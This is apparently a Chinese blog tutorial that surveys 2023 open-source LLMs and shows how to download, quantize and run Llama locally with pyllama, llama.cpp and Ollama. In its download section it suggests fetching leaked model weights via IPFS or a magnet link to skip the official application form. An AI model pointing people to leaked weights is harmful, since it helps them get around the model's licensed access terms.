值得注意的是,Llama 以非商业授权的形式发布,主要用于学术研究,官方仓库 里只给出了加载模型的示例代码,想要获取核心模型权重,还需要填写一份表单进行申请。尽管如此,Llama 模型的发布也具有划时代的意义,由于 OpenAI 对于 GPT-2 之后的模型就不再开源,这个时候 Meta 推出的 Llama 补上了这个缺口,掀起了开源大模型的发展浪潮。
3 月 13 日,斯坦福大学发布了指令精调模型 Alpaca 7B,它通过 OpenAI 的 text-davinci-003
模型生成了 5.2 万指令数据,然后对 Llama 7B 进行精调而得。
3 月 16 日,Guanaco 问世,它在 Alpaca 基础上补充了多语种语料和指令任务。
3 月 23 日,中文小羊驼 Chinese-Vicuna 面世,它基于 Llama 模型和 LoRA 方案,可按需投喂数据进行个性化指令精调。
3 月 24 日,Databricks 发布 Dolly 模型,它本质是 Alpaca 的开源克隆,基于 GPT-J-6B 精调,旨在证明精调指令数据比底座模型更为重要。
3 月 25 日,来自华中师范大学和商汤的几位伙伴发起中文大语言模型开源项目 骆驼(Luotuo),包含了一系列大语言模型、数据、管线和应用。
3 月 28 日,中文 LLaMA & Alpaca 大模型发布,包括了中文 Llama 模型和指令精调的 Alpaca 模型;中文 Llama 模型在原版 Llama 的基础上扩充了中文词表并使用了中文数据进行二次预训练,进一步提升了中文基础语义理解能力;同时,中文 Alpaca 模型进一步使用了中文指令数据进行精调,显著提升了模型对指令的理解和执行能力。
3 月 30 日,来自加州大学伯克利分校、卡内基梅隆大学、斯坦福大学、加州大学圣地亚哥分校的几位计算机博士成立 LMSYS 组织,并发布了 Vicuna-13B,它基于 ShareGPT 收集的对话对 Llama 进行精调,仅需 300 美元即完成训练,号称达到了 ChatGPT 90% 的能力。
同月,智谱 AI 开源了 ChatGLM-6B 模型,这是一个开源的、支持中英双语的对话语言模型,基于 GLM 架构,具有 62 亿参数,使用了和 ChatGPT 相似的技术,针对中文问答和对话进行了优化。
6 月 7 日,上海 AI 实验室发布了开源多语言大型语言模型 InternLM-7B,中文名书生·浦语,在 1.6 万亿标记的大型语料库上进行预训练,采用多阶段渐进式的过程,然后进行了微调以与人类偏好对齐。
6 月 15 日,百川智能发布了开源可商用的大规模预训练语言模型 Baichuan-7B,基于 Transformer 结构,在大约 1.2 万亿 tokens 上训练的 70 亿参数模型,支持中英双语。
开源大模型如雨后春笋般冒了出来,层出不穷,到了 7 月,Meta AI 联合 Microsoft 又推出了 Llama 2 模型,将预训练语料库的大小增加了 40%,将模型的上下文长度增加了一倍,并采用了分组查询注意力,参数范围从 70 亿到 700 亿,包括 7B
、13B
和 70B
三个版本。同时还发布了 Llama 2 的微调版本 Llama 2-Chat,专门针对聊天场景进行了优化。
想要体验 Llama 模型,我们首先得把模型给下载下来,这里总结几种不同的下载方法。
根据官方仓库的说明,我们需要填写一份表单进行申请:
当申请通过后,你会收到一份带有下载链接的邮件。然后下载 Llama 仓库的源码,执行其中的 download.sh
脚本:
$ git clone https://github.com/meta-llama/llama.git
$ cd llama
$ ./download.sh
Enter the URL from email:
按提示输入邮件中的下载链接即可。
值得注意的是,这个下载脚本依赖于 wget
和 md5sum
命令,确保你的系统上已经安装了下面这两个工具:
$ brew install wget md5sha1sum
如果嫌从官方下载太麻烦,网上也有一些泄露的模型版本可以直接下载。
这里 应该是最早泄漏的版本,可以使用 IPFS 客户端 进行下载。
社区里也有人制作了种子,可以使用 BitTorrent 下载,磁链地址为 magnet:?xt=urn:btih:ZXXDAUWYLRUXXBHUYEMS6Q5CE5WA3LVA&dn=LLaMA
。
pyllama
下载另一种下载 Llama 模型的方法是使用 pyllama 库。首先,通过 pip 安装它:
$ pip3 install transformers pyllama -U
然后通过下面的命令下载 Llama 7B
模型(根据需要你也可以下载 13B
、30B
和 65B
,如果不指定 --model_size
则下载所有):
$ python3 -m llama.download --model_size 7B
在 Mac M2 下可能会遇到下面这样的报错:
ImportError: dlopen(/Library/Python/3.9/site-packages/_itree.cpython-39-darwin.so, 0x0002):
tried: '/Library/Python/3.9/site-packages/_itree.cpython-39-darwin.so'
(mach-o file, but is an incompatible architecture (have 'x86_64', need 'arm64')),
'/System/Volumes/Preboot/Cryptexes/OS/Library/Python/3.9/site-packages/_itree.cpython-39-darwin.so'
(no such file),
'/Library/Python/3.9/site-packages/_itree.cpython-39-darwin.so'
(mach-o file, but is an incompatible architecture (have 'x86_64', need 'arm64'))
根据 itree 的官方文档,这个库我们需要自己手动构建:
$ brew install cmake
$ pip3 install https://github.com/juncongmoo/itree/archive/refs/tags/v0.0.18.tar.gz
安装完成后,再次下载,这次虽然没有报错,但是模型的下载目录 pyllama_data 却是空的,根据 这里 的解决方案,我们使用源码重新安装 pyllama:
$ pip3 uninstall pyllama
$ git clone https://github.com/juncongmoo/pyllama
$ pip3 install -e pyllama
然后再次下载即可,7B 模型文件大约 13G,下载速度取决于你的网速,成功后输出如下:
$ python3 -m llama.download --model_size 7B
❤️ Resume download is supported. You can ctrl-c and rerun the program to resume the downloading
Downloading tokenizer...
✅ pyllama_data/tokenizer.model
✅ pyllama_data/tokenizer_checklist.chk
tokenizer.model: OK
Downloading 7B
downloading file to pyllama_data/7B/consolidated.00.pth ...please wait for a few minutes ...
✅ pyllama_data/7B/consolidated.00.pth
✅ pyllama_data/7B/params.json
✅ pyllama_data/7B/checklist.chk
Checking checksums for the 7B model
consolidated.00.pth: OK
params.json: OK
一共有 5 个文件:
$ tree pyllama_data
pyllama_data
|-- 7B
| |-- checklist.chk
| |-- consolidated.00.pth
| `-- params.json
|-- tokenizer.model
`-- tokenizer_checklist.chk
2 directories, 5 files
从下载文件 consolidated.00.pth
的后缀可以看出这是一个 PyTorch 中用于保存模型权重的文件,该文件包含了模型在训练过程中学到的权重参数,我们可以通过 PyTorch 提供的加载机制重新装载到相同或者相似结构的模型中,从而继续训练或者进行推理。
官方已经提供了这样的示例代码,可以对模型进行测试,我们先下载代码:
$ git clone https://github.com/meta-llama/llama.git
$ cd llama
$ git checkout llama_v1
注意切换到 llama_v1
分支,因为我们下的是 Llama 1 模型。然后安装所需依赖:
$ pip3 install -r requirements.txt
然后安装 Llama:
$ pip3 install -e .
最后运行下面的命令测试模型:
$ torchrun --nproc_per_node 1 example.py --ckpt_dir ../pyllama_data/7B --tokenizer_path ../pyllama_data/tokenizer.model
运行这个命令需要具备 NVIDIA 卡并且需要安装 CUDA,否则很可能会报下面这样的错:
Traceback (most recent call last):
File "/Users/aneasystone/Codes/github/llama/example.py", line 119, in <module>
fire.Fire(main)
File "/Library/Python/3.9/site-packages/fire/core.py", line 141, in Fire
component_trace = _Fire(component, args, parsed_flag_args, context, name)
File "/Library/Python/3.9/site-packages/fire/core.py", line 475, in _Fire
component, remaining_args = _CallAndUpdateTrace(
File "/Library/Python/3.9/site-packages/fire/core.py", line 691, in _CallAndUpdateTrace
component = fn(*varargs, **kwargs)
File "/Users/aneasystone/Codes/github/llama/example.py", line 74, in main
local_rank, world_size = setup_model_parallel()
File "/Users/aneasystone/Codes/github/llama/example.py", line 23, in setup_model_parallel
torch.distributed.init_process_group("nccl")
File "/Library/Python/3.9/site-packages/torch/distributed/c10d_logger.py", line 86, in wrapper
func_return = func(*args, **kwargs)
File "/Library/Python/3.9/site-packages/torch/distributed/distributed_c10d.py", line 1184, in init_process_group
default_pg, _ = _new_process_group_helper(
File "/Library/Python/3.9/site-packages/torch/distributed/distributed_c10d.py", line 1302, in _new_process_group_helper
raise RuntimeError("Distributed package doesn't have NCCL built in")
RuntimeError: Distributed package doesn't have NCCL built in
在深度学习的训练和推理过程中,我们常常会遇到单机多卡或多机多卡的情况,这就会涉及到各个卡或节点之间的通信,这种通信被称为 集合通信(Collective Communication),而 NCCL 就是这样的一个集合通信库,它是英伟达基于自家 NVIDIA GPU 定制开发的一套开源集合通信库,可以通过 PCIe 和 NVLink 等高速互联从而实现高带宽和低延迟。除了 NCCL,还有一些其他的库可以选择,比如 MPI 接口的开源实现 Open MPI 、Facebook 的 Gloo 等。
为了让代码能在我的 Mac 上跑起来,我参考了 这里 和 这里 的方法,将代码中和 CUDA 有关的内容都删掉,虽然可以运行,模型也显示加载成功了,但是却一直没有运行结果。最后,参考网友 b0kch01 的实现,还需要对参数做一些修改,然后将代码改成一次只处理一个提示词,再将机器上所有程序全部关闭,终于把 Llama 模型运行起来了:
$ torchrun --nproc_per_node 1 example.py --ckpt_dir ../pyllama_data/7B --tokenizer_path ../pyllama_data/tokenizer.model
Locating checkpoints
Found MP=1 checkpoints
Creating checkpoint instance...
Grabbing params...
Loading model arguments...
Creating tokenizer...
Creating transformer...
-- Creating embedding
-- Creating transformer blocks (32)
-- Adding output layers
-- Precomputing frequencies
Loading checkpoint to model...done in 57.88 seconds
Creating LLaMA generator...done in 0.01 seconds
Loaded in 89.92 seconds
Enter prompt:
等了 90 秒,模型加载成功,接着我们手动输入示例中的第一个提示词:
Enter prompt: I believe the meaning of life is
Starting generation with prompt: I believe the meaning of life is
Forwarding 38 times
responded in 472.85 seconds
I believe the meaning of life is to fulfill your purpose in life, and once you’ve done that, you live to serve others and to love others.
My goal is
==================================
Enter next prompt:
又等了将近 8 分钟,模型才慢吞吞地输出 150 个左右的字符。
可以看到,就算是最小的 7B 模型,在一般的个人电脑上跑起来也是相当费劲。一般来说,基础模型都是 16 位浮点精度的,或称为 FP16 模型,也就是说,模型的每个参数都需要一个 16 位浮点数(2 字节)来保存,所以模型权重的体积和推理所需的显存大小约为模型参数量的两倍,比如运行 Llama 7B 大约需要 14GB 的显存。
目前有很多方法在研究如何减少大模型的资源占用,例如 llama.cpp,号称可以在树莓派上进行推理,最低只需要 4G 内存。这种技术也被称为 量化(Quantization),通过降低权重的精度,可以很大程度上降低显存要求,加快推理速度,同时保持大部分模型的性能。以 4 Bit 量化为例,它将原本的 16 位浮点精度压缩为 4 位整数精度,使模型权重的体积减小到原本的 1/4,推理所需显存也大幅减少,意味着约 4GB 左右的显存就可以对 7B 模型进行推理。
常见的量化技术有:NF4、GPTQ 和 GGML 等,对量化原理感兴趣的同学可以参考 Introduction to Weight Quantization 这篇文章。
llama.cpp
量化并运行 Llama 模型想要在个人电脑上玩转大模型,首推 llama.cpp
项目,它使用 C/C++ 重写了 Llama 的推理代码,不仅避免了 PyTorch 引入的复杂依赖,而且对各类硬件和库提供了广泛的支持,比如支持纯 CPU 推理,支持 Apple Silicon 芯片,支持不同的操作系统,包括 Mac OS、Linux、Windows、Docker、FreeBSD 等,还支持大量的开源大模型,包括 Meta 的 Llama、Google 的 Gemma、Mistral AI 的 Mistral 系列、阿里的 Qwen 系列、零一万物的 Yi 系列等。
首先我们下载 llama.cpp
的源码:
$ git clone https://github.com/ggerganov/llama.cpp
$ cd llama.cpp
官方提供了很多种不同的编译方法,包括 make
、CMake
和 Zig
等,你可以根据你的喜好进行选择。另外,它还支持苹果的 Metal 框架、不同的消息传递接口 MPI 实现,比如 MPICH 和 Open MPI 以及大量的 BLAS 库,具体的编译选项可以 参考官方文档。我们这里直接使用 make
命令编译:
$ make
在 Mac 上编译无需额外参数,llama.cpp
已经对 Arm Neon 做了优化,会自动启动 BLAS,在 M 系列芯片上,还会自动使用 Metal 框架,显著提升 GPU 推理速度。
编译完成后会在当前目录生成一些可执行文件,比如:
main
- 用于模型推理的主程序quantize
- 用于模型量化server
- 以服务器模式运行不过此时我们还无法直接运行推理程序,llama.cpp
不支持 PyTorch 格式的模型文件,我们需要将其转换为 GGUF 格式,在之前的版本中叫做 GGML 格式,它是由 Georgi Gerganov 创建的一种独特的二进制格式,用来分发语言模型文件,GG
就是他名字的缩写,同时他也是 llama.cpp
的作者。
将模型转换成这种格式非常简单,在 llama.cpp
的源码里已经内置了 convert.py
脚本,直接执行该脚本即可:
$ pip3 install -r requirements.txt
$ python3 convert.py ../pyllama_data/7B
转换完成后,模型目录下会多一个 ggml-model-f16.gguf
文件:
$ ls -lh ../pyllama_data/7B
total 52679296
-rw-r--r--@ 1 aneasystone staff 100B Mar 5 2023 checklist.chk
-rw-r--r--@ 1 aneasystone staff 13G Mar 5 2023 consolidated.00.pth
-rw-r--r--@ 1 aneasystone staff 13G Mar 24 15:33 ggml-model-f16.gguf
-rw-r--r--@ 1 aneasystone staff 101B Mar 5 2023 params.json
这个文件和之前的模型文件一样,还是很大,接着我们使用 quantize
程序对模型文件进行量化,量化的尺寸可以选择 8 Bit、4 Bit 或 2 Bit 等,不同的尺寸在效果和资源占用上存在差异。我们这里选择的是 Q4_K_M
,这是一种既能保留大部分模型的性能又能节约内存的量化类型。运行命令如下:
$ ./quantize ../pyllama_data/7B/ggml-model-f16.gguf ../pyllama_data/7B/ggml-model-Q4_K_M.gguf Q4_K_M
除此之外,下面是该命令支持的所有量化类型:
Allowed quantization types:
2 or Q4_0 : 3.56G, +0.2166 ppl @ LLaMA-v1-7B
3 or Q4_1 : 3.90G, +0.1585 ppl @ LLaMA-v1-7B
8 or Q5_0 : 4.33G, +0.0683 ppl @ LLaMA-v1-7B
9 or Q5_1 : 4.70G, +0.0349 ppl @ LLaMA-v1-7B
19 or IQ2_XXS : 2.06 bpw quantization
20 or IQ2_XS : 2.31 bpw quantization
28 or IQ2_S : 2.5 bpw quantization
29 or IQ2_M : 2.7 bpw quantization
24 or IQ1_S : 1.56 bpw quantization
10 or Q2_K : 2.63G, +0.6717 ppl @ LLaMA-v1-7B
21 or Q2_K_S : 2.16G, +9.0634 ppl @ LLaMA-v1-7B
23 or IQ3_XXS : 3.06 bpw quantization
26 or IQ3_S : 3.44 bpw quantization
27 or IQ3_M : 3.66 bpw quantization mix
12 or Q3_K : alias for Q3_K_M
22 or IQ3_XS : 3.3 bpw quantization
11 or Q3_K_S : 2.75G, +0.5551 ppl @ LLaMA-v1-7B
12 or Q3_K_M : 3.07G, +0.2496 ppl @ LLaMA-v1-7B
13 or Q3_K_L : 3.35G, +0.1764 ppl @ LLaMA-v1-7B
25 or IQ4_NL : 4.50 bpw non-linear quantization
30 or IQ4_XS : 4.25 bpw non-linear quantization
15 or Q4_K : alias for Q4_K_M
14 or Q4_K_S : 3.59G, +0.0992 ppl @ LLaMA-v1-7B
15 or Q4_K_M : 3.80G, +0.0532 ppl @ LLaMA-v1-7B
17 or Q5_K : alias for Q5_K_M
16 or Q5_K_S : 4.33G, +0.0400 ppl @ LLaMA-v1-7B
17 or Q5_K_M : 4.45G, +0.0122 ppl @ LLaMA-v1-7B
18 or Q6_K : 5.15G, +0.0008 ppl @ LLaMA-v1-7B
7 or Q8_0 : 6.70G, +0.0004 ppl @ LLaMA-v1-7B
1 or F16 : 13.00G @ 7B
0 or F32 : 26.00G @ 7B
COPY : only copy tensors, no quantizing
这时,模型目录下应该会生成一个 ggml-model-Q4_K_M.gguf
文件:
$ ls -lh ../pyllama_data/7B
total 60674720
-rw-r--r--@ 1 aneasystone staff 100B Mar 5 2023 checklist.chk
-rw-r--r--@ 1 aneasystone staff 13G Mar 5 2023 consolidated.00.pth
-rw-r--r--@ 1 aneasystone staff 3.8G Mar 24 15:38 ggml-model-Q4_K_M.gguf
-rw-r--r--@ 1 aneasystone staff 13G Mar 24 15:33 ggml-model-f16.gguf
-rw-r--r--@ 1 aneasystone staff 101B Mar 5 2023 params.json
为了节约时间,我们也可以从 TheBloke 这里下载已经量化好的模型直接使用。
相比于原文件,这个模型文件减小了很多,只有 3.8G,接下来就可以使用 main
对其进行推理了:
$ ./main -m ../pyllama_data/7B/ggml-model-Q4_K_M.gguf -n 128 -p "I believe the meaning of life is"
Log start
main: build = 2518 (ddf65685)
main: built with Apple clang version 15.0.0 (clang-1500.0.40.1) for arm64-apple-darwin22.6.0
main: seed = 1711266065
llama_model_loader: loaded meta data with 17 key-value pairs and 291 tensors from ../pyllama_data/7B/ggml-model-Q4_K_M.gguf (version GGUF V3 (latest))
llama_model_loader: Dumping metadata keys/values. Note: KV overrides do not apply in this output.
llama_model_loader: - kv 0: general.architecture str = llama
llama_model_loader: - kv 1: general.name str = pyllama_data
llama_model_loader: - kv 2: llama.vocab_size u32 = 32000
llama_model_loader: - kv 3: llama.context_length u32 = 2048
llama_model_loader: - kv 4: llama.embedding_length u32 = 4096
llama_model_loader: - kv 5: llama.block_count u32 = 32
llama_model_loader: - kv 6: llama.feed_forward_length u32 = 11008
llama_model_loader: - kv 7: llama.rope.dimension_count u32 = 128
llama_model_loader: - kv 8: llama.attention.head_count u32 = 32
llama_model_loader: - kv 9: llama.attention.head_count_kv u32 = 32
llama_model_loader: - kv 10: llama.attention.layer_norm_rms_epsilon f32 = 0.000001
llama_model_loader: - kv 11: general.file_type u32 = 15
llama_model_loader: - kv 12: tokenizer.ggml.model str = llama
llama_model_loader: - kv 13: tokenizer.ggml.tokens arr[str,32000] = ["<unk>", "<s>", "</s>", "<0x00>", "<...
llama_model_loader: - kv 14: tokenizer.ggml.scores arr[f32,32000] = [0.000000, 0.000000, 0.000000, 0.0000...
llama_model_loader: - kv 15: tokenizer.ggml.token_type arr[i32,32000] = [2, 3, 3, 6, 6, 6, 6, 6, 6, 6, 6, 6, ...
llama_model_loader: - kv 16: general.quantization_version u32 = 2
llama_model_loader: - type f32: 65 tensors
llama_model_loader: - type q4_K: 193 tensors
llama_model_loader: - type q6_K: 33 tensors
llm_load_vocab: special tokens definition check successful ( 259/32000 ).
llm_load_print_meta: format = GGUF V3 (latest)
llm_load_print_meta: arch = llama
llm_load_print_meta: vocab type = SPM
llm_load_print_meta: n_vocab = 32000
llm_load_print_meta: n_merges = 0
llm_load_print_meta: n_ctx_train = 2048
llm_load_print_meta: n_embd = 4096
llm_load_print_meta: n_head = 32
llm_load_print_meta: n_head_kv = 32
llm_load_print_meta: n_layer = 32
llm_load_print_meta: n_rot = 128
llm_load_print_meta: n_embd_head_k = 128
llm_load_print_meta: n_embd_head_v = 128
llm_load_print_meta: n_gqa = 1
llm_load_print_meta: n_embd_k_gqa = 4096
llm_load_print_meta: n_embd_v_gqa = 4096
llm_load_print_meta: f_norm_eps = 0.0e+00
llm_load_print_meta: f_norm_rms_eps = 1.0e-06
llm_load_print_meta: f_clamp_kqv = 0.0e+00
llm_load_print_meta: f_max_alibi_bias = 0.0e+00
llm_load_print_meta: f_logit_scale = 0.0e+00
llm_load_print_meta: n_ff = 11008
llm_load_print_meta: n_expert = 0
llm_load_print_meta: n_expert_used = 0
llm_load_print_meta: causal attn = 1
llm_load_print_meta: pooling type = 0
llm_load_print_meta: rope type = 0
llm_load_print_meta: rope scaling = linear
llm_load_print_meta: freq_base_train = 10000.0
llm_load_print_meta: freq_scale_train = 1
llm_load_print_meta: n_yarn_orig_ctx = 2048
llm_load_print_meta: rope_finetuned = unknown
llm_load_print_meta: ssm_d_conv = 0
llm_load_print_meta: ssm_d_inner = 0
llm_load_print_meta: ssm_d_state = 0
llm_load_print_meta: ssm_dt_rank = 0
llm_load_print_meta: model type = 7B
llm_load_print_meta: model ftype = Q4_K - Medium
llm_load_print_meta: model params = 6.74 B
llm_load_print_meta: model size = 3.80 GiB (4.84 BPW)
llm_load_print_meta: general.name = pyllama_data
llm_load_print_meta: BOS token = 1 '<s>'
llm_load_print_meta: EOS token = 2 '</s>'
llm_load_print_meta: UNK token = 0 '<unk>'
llm_load_print_meta: LF token = 13 '<0x0A>'
llm_load_tensors: ggml ctx size = 0.22 MiB
ggml_backend_metal_buffer_from_ptr: allocated buffer, size = 3820.94 MiB, ( 3821.00 / 10922.67)
llm_load_tensors: offloading 32 repeating layers to GPU
llm_load_tensors: offloading non-repeating layers to GPU
llm_load_tensors: offloaded 33/33 layers to GPU
llm_load_tensors: Metal buffer size = 3820.93 MiB
llm_load_tensors: CPU buffer size = 70.31 MiB
..................................................................................................
llama_new_context_with_model: n_ctx = 512
llama_new_context_with_model: n_batch = 512
llama_new_context_with_model: n_ubatch = 512
llama_new_context_with_model: freq_base = 10000.0
llama_new_context_with_model: freq_scale = 1
ggml_metal_init: allocating
ggml_metal_init: found device: Apple M2
ggml_metal_init: picking default device: Apple M2
ggml_metal_init: default.metallib not found, loading from source
ggml_metal_init: GGML_METAL_PATH_RESOURCES = nil
ggml_metal_init: loading '/Users/zhangchangzhi/Codes/github/llama.cpp/ggml-metal.metal'
ggml_metal_init: GPU name: Apple M2
ggml_metal_init: GPU family: MTLGPUFamilyApple8 (1008)
ggml_metal_init: GPU family: MTLGPUFamilyCommon3 (3003)
ggml_metal_init: GPU family: MTLGPUFamilyMetal3 (5001)
ggml_metal_init: simdgroup reduction support = true
ggml_metal_init: simdgroup matrix mul. support = true
ggml_metal_init: hasUnifiedMemory = true
ggml_metal_init: recommendedMaxWorkingSetSize = 11453.25 MB
ggml_backend_metal_buffer_type_alloc_buffer: allocated buffer, size = 256.00 MiB, ( 4078.00 / 10922.67)
llama_kv_cache_init: Metal KV buffer size = 256.00 MiB
llama_new_context_with_model: KV self size = 256.00 MiB, K (f16): 128.00 MiB, V (f16): 128.00 MiB
llama_new_context_with_model: CPU output buffer size = 62.50 MiB
ggml_backend_metal_buffer_type_alloc_buffer: allocated buffer, size = 70.50 MiB, ( 4148.50 / 10922.67)
llama_new_context_with_model: Metal compute buffer size = 70.50 MiB
llama_new_context_with_model: CPU compute buffer size = 9.00 MiB
llama_new_context_with_model: graph nodes = 1060
llama_new_context_with_model: graph splits = 2
system_info: n_threads = 4 / 8 | AVX = 0 | AVX_VNNI = 0 | AVX2 = 0 | AVX512 = 0 | AVX512_VBMI = 0 | AVX512_VNNI = 0 | FMA = 0 |
NEON = 1 | ARM_FMA = 1 | F16C = 0 | FP16_VA = 1 | WASM_SIMD = 0 | BLAS = 1 | SSE3 = 0 | SSSE3 = 0 | VSX = 0 | MATMUL_INT8 = 0 |
sampling:
repeat_last_n = 64, repeat_penalty = 1.000, frequency_penalty = 0.000, presence_penalty = 0.000
top_k = 40, tfs_z = 1.000, top_p = 0.950, min_p = 0.050, typical_p = 1.000, temp = 0.800
mirostat = 0, mirostat_lr = 0.100, mirostat_ent = 5.000
sampling order:
CFG -> Penalties -> top_k -> tfs_z -> typical_p -> top_p -> min_p -> temperature
generate: n_ctx = 512, n_batch = 2048, n_predict = 128, n_keep = 1
I believe the meaning of life is to serve others. As a doctor, I want to help those in need and make a difference in their lives.
I am honored to be able to do just that in my community.
I love meeting new people and developing relationships with them. My goal is to provide high-quality care in a relaxed and comfortable environment.
I take the time to listen to each patient and get to know them on a personal level.
I believe that a healthy life starts with prevent
llama_print_timings: load time = 1040.38 ms
llama_print_timings: sample time = 2.49 ms / 128 runs ( 0.02 ms per token, 51384.99 tokens per second)
llama_print_timings: prompt eval time = 231.36 ms / 8 tokens ( 28.92 ms per token, 34.58 tokens per second)
llama_print_timings: eval time = 6948.32 ms / 127 runs ( 54.71 ms per token, 18.28 tokens per second)
llama_print_timings: total time = 7196.03 ms / 135 tokens
ggml_metal_free: deallocating
Log end
和之前比起来,推理速度有了质的提升,而且生成效果也还可以。我们也可以使用 -i
选项,以交互形式和大模型对话:
$ ./main -m ../pyllama_data/7B/ggml-model-Q4_K_M.gguf -n 128 --repeat_penalty 1.0 --color -i -r "User:" -f prompts/chat-with-bob.txt
...
== Running in interactive mode. ==
- Press Ctrl+C to interject at any time.
- Press Return to return control to LLaMa.
- To return control without starting a new line, end your input with '/'.
- If you want to submit another line, end your input with '\'.
Transcript of a dialog, where the User interacts with an Assistant named Bob.
Bob is helpful, kind, honest, good at writing, and never fails to answer the User's requests immediately and with precision.
User: Hello, Bob.
Bob: Hello. How may I help you today?
User: Please tell me the largest city in Europe.
Bob: Sure. The largest city in Europe is Moscow, the capital of Russia.
User: What;s your name?
Bob: My name is Bob.
User: What can you do?
Bob: I am very good at writing.
User: Tell me a joke
Bob: Knock knock. Who's there?
其中 -n
表示限定生成的 token 数量;--repeat_penalty
有助于防止模型生成重复或单调的文本,较高的值会更严厉地惩罚重复,而较低的值则更宽容;--color
表示使用彩色输出区分提示词、用户输入和生成的文本;-r
表示 Reverse Prompts
,用于暂停文本生成并切换到交互模式,这里的 -r "User:"
表示轮到用户发言时停止,这有助于创建更具互动性和对话性的体验;-f
和 -p
一样,用于指定提示词,只不过提示词位于文件中;关于 main
程序的其他可用参数可以参考 这篇文档。
除了以命令行形式运行大模型,llama.cpp
也提供了服务器模式运行模型,我们运行 server
程序:
$ ./server -m ../pyllama_data/7B/ggml-model-Q4_K_M.gguf -c 1024
...
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"init","line":702,"msg":"initializing slots","n_slots":1}
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"init","line":714,"msg":"new slot","id_slot":0,"n_ctx_slot":1024}
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"main","line":2881,"msg":"model loaded"}
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"main","line":2906,"msg":"chat template","chat_example":"<|im_start|>system\nYou are a helpful assistant<|im_end|>\n<|im_start|>user\nHello<|im_end|>\n<|im_start|>assistant\nHi there<|im_end|>\n<|im_start|>user\nHow are you?<|im_end|>\n<|im_start|>assistant\n","built_in":true}
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"main","line":3524,"msg":"HTTP server listening","port":"8080","n_threads_http":"7","hostname":"127.0.0.1"}
服务启动成功后,我们就能通过 http://localhost:8080
来访问它,下面是使用 curl
调用该接口的例子:
$ curl --request POST \
--url http://localhost:8080/completion \
--header "Content-Type: application/json" \
--data '{"prompt": "Building a website can be done in 10 simple steps:","n_predict": 128}'
这篇文档 对服务器模式的其他接口和参数做了详细说明。
上一节我们学习了如何使用 llama.cpp
量化和运行 Llama 大模型,整个过程虽然不复杂,但是对于普通用户来说,无论是获取模型文件,还是编译和构建源码,抑或是以命令行形式运行推理程序,还是有一定门槛的。所以,很长一段时间里,在本地运行大模型都只局限于少数的极客和研究人员,直到 Ollama 项目的问世,才真正将大模型带入千万用户的个人电脑,让更多的普通小白也可以方便地在自己电脑上玩转大模型了。
Ollama 基于 llama.cpp
实现,它的安装非常简单,直接进入 官方下载页面,找到适合自己系统的版本下载运行即可,支持 Mac OS、Linux 和 Windows 系统。
打开终端,输入 ollama --version
命令,如果能成功查询到版本号,表示 Ollama 已经安装好了:
$ ollama --version
ollama version is 0.1.29
接下来,我们就可以用 ollama pull
命令来下载模型文件:
$ ollama pull llama2
熟悉 Docker 的同学应该对这个命令感到很亲切,Ollama 参考了 Docker 的设计理念,类似于 docker pull
可以从镜像仓库下载镜像,ollama pull
可以从 模型仓库 下载模型。在不指定 tag 的情况下,我们下载的是 llama2:latest
模型,从 模型详情页 可以看出这是 Llama 2 7B 模型的 4 Bit 量化版本(实际上是 Llama 2-Chat 模型,Llama 2 模型对应的 tag 是 llama2:text
):
接下来使用 ollama run
命令运行大模型:
$ ollama run llama2
>>>
这样就可以和大模型进行对话了:
>>> Hello
Hello! It's nice to meet you. Is there something I can help you with or would you like to chat?
>>> Who are you?
Hello! I am LLaMA, an AI assistant developed by Meta AI that can understand and respond to human input
in a conversational manner. I'm here to help you with any questions
or topics you'd like to discuss. Is there something specific you'd like to talk about?
>>> 用中文回答
你好!我是LLaMA,一个由Meta AI开发的人工智能助手。我可以理解和回应人类输入的语言,让您与我互动。您有什么问题或话题想聊?
>>> /bye
此外,Ollama 也支持以服务器模式启动:
$ ollama serve
这样我们就可以通过接口形式来调用:
$ curl -X POST http://localhost:11434/api/generate -d '{
"model": "llama2",
"prompt":"Why is the sky blue?"
}'
更多关于 Ollama 的接口细节,可以参考官方的 API 文档。
除了 ollama pull
和 ollama run
,Ollama 还支持一些其他的命令选项,比如:
ollama list
- 显示所有本地已安装的模型ollama rm
- 删除已安装的模型ollama show
- 显示模型的详细信息ollama create
- 通过 Modelfile
创建模型文件ollama push
- 将创建的模型文件推送到远程仓库因为 Ollama 是基于 llama.cpp
实现的,所以它也支持大量的开源大模型,比如 Gemma、Mistral、Qwen、Yi 这些基础大模型,还有 Code Llama、DeepSeek Coder、StarCoder 这些代码大模型,还有 LLaVA 和 BakLLaVA 这些多模态大模型,等等,可以在 模型仓库 页面找到所有 Ollama 支持的模型。
不仅如此,Ollama 还支持用户自己创建模型,正如在 Docker 中我们可以使用 Dockerfile
来构建自己的镜像,在 Ollama 中我们也可以使用 Modelfile
来构建自己的模型。细心的同学可能已经注意到,Ollama 的模型仓库里只有 Llama 2 的模型,并没有 Llama 模型,我们不妨自己来创建一个。
Ollama 支持根据 GGUF 文件创建模型,首先我们新建一个 Modelfile
文件,在第一行使用 FROM
语句导入我们上面生成好的量化版模型文件:
FROM ../pyllama_data/7B/ggml-model-Q4_K_M.gguf
如果要导入其他类型的模型文件,比如 PyTorch 或 Safetensors 等,请参考文档 Import a model。
然后使用 ollama create
命令创建模型:
$ ollama create llama -f Modelfile
transferring model data
creating model layer
using already created layer sha256:3672cbbdd94aaf2ec25e242afbba8691c44dacd1d627c478ad83c2248c80040c
writing layer sha256:5bbed095407083c16b0f36844732fd4b5aed0932420eb389f132b6e494376c32
writing manifest
success
很简单,是不是?这样我们就可以使用 Ollama 运行 Llama 模型了:
$ ollama run llama
>>> The meaning of life is
to find your gift. The purpose of life is to give it away. ~Pablo Picasso
不过 Llama 模型是基础模型,不具有对话能力,我们可以使用提示词和停止词来模拟出对话效果(参考 llama.cpp
的交互模式):
FROM ../pyllama_data/7B/ggml-model-Q4_K_M.gguf
TEMPLATE """Transcript of a dialog, where the User interacts with an Assistant named Bob.
Bob is helpful, kind, honest, good at writing, and never fails to answer the User's requests immediately and with precision.
User: Hello, Bob.
Bob: Hello. How may I help you today?
User: Please tell me the largest city in Europe.
Bob: Sure. The largest city in Europe is Moscow, the capital of Russia.
User: {{ .Prompt }}
"""
PARAMETER temperature 1
PARAMETER num_ctx 4096
PARAMETER num_predict 128
PARAMETER repeat_penalty 1.0
PARAMETER stop User:
